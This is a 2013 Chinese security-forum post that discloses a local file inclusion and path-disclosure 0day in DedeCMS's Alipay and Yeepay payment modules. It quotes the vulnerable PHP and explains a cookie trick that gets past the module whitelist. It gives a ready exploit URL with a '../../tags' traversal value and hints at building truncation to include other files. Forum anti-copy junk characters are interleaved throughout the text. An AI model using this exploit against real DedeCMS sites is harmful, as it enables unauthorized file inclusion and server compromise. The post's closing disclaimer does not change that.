中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
3 h7 X3 h+ ]1 K) `
0 A( V" Q" l1 {: J+ J3 }出现漏洞的两个文件为:; j, |, P+ v$ I- M5 d) r( n
Include/payment/alipay.php# W) b2 U6 C6 |" z# Y0 u" p  e
Include/payment/yeepay.php
8 _' H8 H& k+ i% b2 m4 r1 K漏洞均出现在respond方法里,估计这两个文件是临时工写的。" B# `1 u6 ?/ A( u8 ~$ S5 Z

" i& w" A; n, @; pInclude/payment/alipay.php+ m- i. V/ G  e( g' Y
5 k; |. j0 l- R. g
......9 x, l, P9 K1 p) k& V5 v' p: H
   function respond()' D* ?7 f' N: o9 O; F- p2 u0 l
    {8 [. l) v7 f( P
        if (!empty($_POST))
, o. I5 `8 T$ c! Y# U        {" b& p0 p. C: u
            foreach($_POST as $key => $data)+ h/ u% V6 J. M8 ]0 f
            {6 `) L1 t. l) L8 l4 h3 f7 p$ B
                $_GET[$key] = $data;
: c% X, x8 P  c$ q0 r6 ~$ n            }) Q7 Y+ d' i/ `1 Y+ ~3 T
        }
& s* D2 v6 `# w        /* 引入配置文件 */; \2 r# V/ V3 H
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';/ D" q$ ]% g$ N9 `
...... ; n; j4 \: W( H+ Q! W2 o. q& q1 L4 U

- k% F* B2 w1 F/ D3 p6 F/ O- X! H3 E+ K! z9 t: ~
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。) x! q/ T2 s  S. d! F4 E

' n- G* n( }9 I* w# E- [  J, d5 sInclude/payment/yeepay.php
0 e' E0 F% z1 }: b) e) M% x( Y' h1 S% {4 g

6 k- d% V* s: F4 f$ X. e3 _8 o- k4 ?) ]' F+ o2 m
......
8 O& t! P* E+ r" Q+ ]' o0 q, ^    function respond()8 [* ~; J  b3 ]/ z) x
    {
" Z% p3 ^6 R! t' U
8 W% d5 ^, X2 m4 ?" @7 [4 c+ V        /* 引入配置文件 */: S: @$ l$ G/ O  M* Q
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
& Z$ X  N/ m/ b) |
  O# A! P- |& X. O        $p1_MerId = trim($payment['yp_account']);- ^0 j* @' }4 E" S! t
        $merchantKey = trim($payment['yp_key']);& Q; h$ A) [3 y5 t' ^' F% `0 Y
......
5 h' \$ A, k. c' G: y 8 [2 @, F( i, l+ |) ~
1 _$ D9 c) ?* O$ j& {" P# O
* l0 M$ i. @9 v
# R& F) @# t) M% ~6 h7 |
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。( t: a( O: c% v0 |& T% j' f# P

4 h$ ^8 C5 Y/ r* f+ O$ V这两个方法在plus/carbuyaction.php文件调用。: ~3 w& z. E$ b0 f& |) B

3 o! y* k$ O, cplus/carbuyaction.php' y9 r3 P, L# d# y. p- h

* s' B( R3 H% j, v. }8 {) W8 I......" r1 ~+ {) g& B
} else if ($dopost == 'return') {
. H- M7 E4 s1 D& p/ w0 X    $write_list = array('alipay', 'bank', 'cod', 'yeepay');5 G2 ~- k6 q, }" e& _
    if (in_array($code, $write_list))/ B+ J$ Z; q3 N. L; Y
    {
; |' D1 N7 a5 N        require_once DEDEINC.'/payment/'.$code.'.php';
( j; `, o+ Q' ^9 m        $pay = new $code;
3 c, @- G% R9 }/ @# d" m' Z        $msg=$pay->respond();* W& b+ ?4 ]1 V2 }# v
        ShowMsg($msg, "javascript:;", 0, 3000);
" }9 l& `; Q& u        exit();  
* |3 x: X& z+ B" d7 L- f6 [' i    } else {& ~( G7 f4 s0 z  u& z
        exit('Error:File Type Can\'t Recognized!');
5 ^1 ^: e9 z0 u& U! j2 m) R    }9 z7 G% _! [0 R: t
}
* P7 w  h. J4 G. b1 v...... 8 X0 n2 J) d* `5 B9 ?

' l! y' p: T' Q, Z
2 n- Z# q4 M7 l; a! T! T( M
4 T( A$ ]" ~$ x) @' E- J' g9 Y
; ]. e! `  |4 N& a 7 P4 X4 j1 m$ F2 [) t( L$ H
: U+ m9 T. Y& U& @4 c' J+ C, z
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。: }: Y  Y% I# F
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
6 t! P0 l- u  m5 G- Q
. [- Q+ ~% Y$ k, z, L* V回到include/common.inc.php来看看他的机制。
% w2 n' _5 H1 F, z; q
: Y& |& |" k& B2 o 2 p, M, \' w: e
$ K2 D& y& B: Q$ V5 R7 t$ @
......
- J5 {) Y: O% s. C1 }! Wforeach(Array('_GET','_POST','_COOKIE') as $_request)
( D% h% ~( V+ L! Y# f3 f{
, Q+ O6 m- P1 a) o/ r* h        foreach($$_request as $_k => $_v)
6 ~& s+ g8 H' \4 @        {3 d0 J* j7 w6 U! b3 Z) _
                if($_k == 'nvarname') ${$_k} = $_v;
3 ]! l2 g- f' I1 U- X" X                else ${$_k} = _RunMagicQuotes($_v);+ E) z" i4 e2 h( `6 I
        }8 X, R- p6 b" z8 d
}
+ @5 w) _0 W6 |...... . {4 h. r' h0 ^
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
& p, q& h: k9 b: S4 w由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2